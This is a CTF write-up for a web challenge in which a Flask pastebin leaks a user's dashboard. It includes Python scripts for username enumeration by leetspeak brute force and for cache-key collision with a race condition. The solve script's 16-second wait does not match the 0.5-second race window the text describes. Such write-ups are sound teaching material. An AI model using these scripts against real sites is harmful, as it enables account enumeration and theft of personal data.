Tacticool Bin - ECW2025

Writeup

Writeup for a Hard web CTF challenge mainly focused on the web cache vulnerabilities during the European Cyber Week 2025

webflaskcache-poisoningrace-condition

Overview

Challenge summary

“I only had one job! Reading Larry's message at 6:00 on this pastebin-like website.” You woke up at 9:30. Find another way to get in touch with Larry.

The application is open-source. We know:

  • Larry uses his real name as a username.
  • He likes l33tsp34k.
  • The flag format is: ECW{username-phone_number-domain_name_of_his_email}

1 — Username enumeration via /dashboard/<username>

In the open-source code (app.py), the route below is protected by @login_required, but it returns different flash messages depending on whether the user exists.

Key behavior:

  • If the user does not exist ⇒ "Stop trying to access other users dashboards or face consequences !"
  • If the user exists but is not you ⇒ `"You shouldn't access another user's dashboard. =("

This gives us a clean username-existence oracle as long as we’re authenticated.

Relevant excerpt:

@app.route('/dashboard/<username>')
@cache.cached(timeout=0, unless=unauthorized)
@login_required
def dashboard(username):
    
	user = User.query.filter_by(username=username).first()
      
	if not user:
		flash("Stop trying to access other users dashboards or face consequences !")
		return redirect(url_for('errorpage'))

	if user.id != current_user.id:
		flash("You shouldn't access another user's dashboard. =(")
		flash("User " + user.username + " has been alerted.")
		return redirect(url_for('errorpage'))
      
	return render_template('dashboard.html', name=current_user.username, email=current_user.email, phone=current_user.phone)

Brute-forcing Larry’s leetspeak username

We create any account (example: ThaySan:password) and then generate leetspeak permutations for larry. Using pyleetspeak (all combinations), we test each candidate against /dashboard/<candidate> and look for the “user exists” message.

from requests import Session
from bs4 import BeautifulSoup
from pyleetspeak.LeetSpeaker import LeetSpeaker

HOST = "challenges.challenge-ecw.eu"
PORT = 34497
URL = f"http://{HOST}:{PORT}"

USERNAME = "ThaySan"
PASSWORD = "password"


def login(session: Session, username: str, password: str):
	data = {"username": username, "password": password}
	session.post(f"{URL}/login", data=data, allow_redirects=False)


def get_dashboard_flash(session: Session, username: str) -> str:
	html = session.get(f"{URL}/dashboard/{username}").text
	return BeautifulSoup(html, 'html.parser').find('li').text


session = Session()
login(session, USERNAME, PASSWORD)

TARGET = "larry"
leeter = LeetSpeaker(
	mode="basic",
	get_all_combs=True,
	user_changes=[("l", "L"), ("r", "R"), ("y", "Y")],
)

for candidate in leeter.text2leet(TARGET):
	# If we get the “does not exist” message, keep searching
	if get_dashboard_flash(session, candidate).startswith("Stop trying"):
		continue
	print(f"FOUND: {candidate}")
	break

Output:

FOUND: L4Rry

So Larry’s username is L4Rry.

2 — Cache key collision + race condition to leak the dashboard

The dashboard route is wrapped with:

@cache.cached(timeout=0, unless=unauthorized)

This effectively makes dashboards cacheable indefinitely.

Separately, when posting a “paste/message”, the app:

  1. Checks for duplicate titles in message_list
  2. Appends to message_list
  3. Sleeps for 0.5s
  4. Writes the message content into the cache using the title as the cache key
# POST logic
if request.method == 'POST':
	data = request.get_json()

	for item in message_list:
		if data.get('title') == item.get('title'):
			return 'Title already in use !', 418

	message_list.append({"title": data.get('title'), "ttl": data.get('ttl'), "creation": int(time.time())})

	time.sleep(0.5)

	cache.set(data.get('title'), data.get('message'), timeout=data.get('ttl'))
	return "Ok"

When rendering the message list, the server iterates over message_list but pulls message bodies from the cache:

sent_list = []
for item_dict in message_list:
	ttl = item_dict.get('ttl')
	creation = item_dict.get('creation')
	sent_list.append({
		"title": item_dict.get('title'),
		"message": cache.get(item_dict.get('title')),
		"ttl": item_dict.get('ttl') + item_dict.get('creation')-int(time.time())
	})

Why this matters

Flask-Caching has a well-known default for view caching keys. By default, the key is derived from the request path, typically resembling:

view/<request.path>

So Larry’s cached dashboard at /dashboard/L4Rry maps to a key like:

view//dashboard/L4Rry

Exploit primitive

If we create a paste with title = view//dashboard/L4Rry, the server will:

  • Add it to message_list immediately
  • Wait 0.5s before overwriting that cache key

During that 0.5s window, when we fetch the home page (message list), the app will display:

  • The entry from message_list (our title)
  • But the message content from cache.get(title) which still contains Larry’s cached dashboard HTML

That gives us a time-of-check/time-of-use style leak.

Leak Larry’s dashboard HTML : My solve script

Below is the final exploit script you provided (used as-is):

import requests
from time import sleep

# Target URL
target = "http://challenges.challenge-ecw.eu:34497"

# Create a session to maintain cookies
session = requests.Session()

# Payload with the known username
data = {
	'title': 'view//dashboard/L4Rry',
	'ttl': 1,
	'message': "test"
}

print("Injecting payload...")
res = session.post(target + '/', headers={"Content-Type": "application/json"}, json=data)

print("Waiting 16 seconds for TTL to expire...")
sleep(16)

print("Retrieving content...")
res = requests.get(target)

if "Welcome" in res.text:
	print("✓ Success! Content saved to out.html")
	with open("out.html", "w") as f:
		f.write(res.text)
else:
	print("✗ Failed - No 'Welcome' content found")
	print(f"Response length: {len(res.text)} characters")

When the exploit hits, the leaked HTML contains:

  • Welcome, L4Rry!
  • Your email is Congr@tulat.on!
  • Your phone number is 1333333337!

From Congr@tulat.on!, the email domain is tulat.on.

Final flag:

ECW{L4Rry-1333333337-tulat.on}

Root cause summary

  • Information disclosure via differential error messages ⇒ user enumeration.
  • Insecure cache key design (user-controlled key space overlaps with internal view cache keys).
  • Race window (0.5s sleep between list update and cache write) ⇒ reliable cache read-before-overwrite.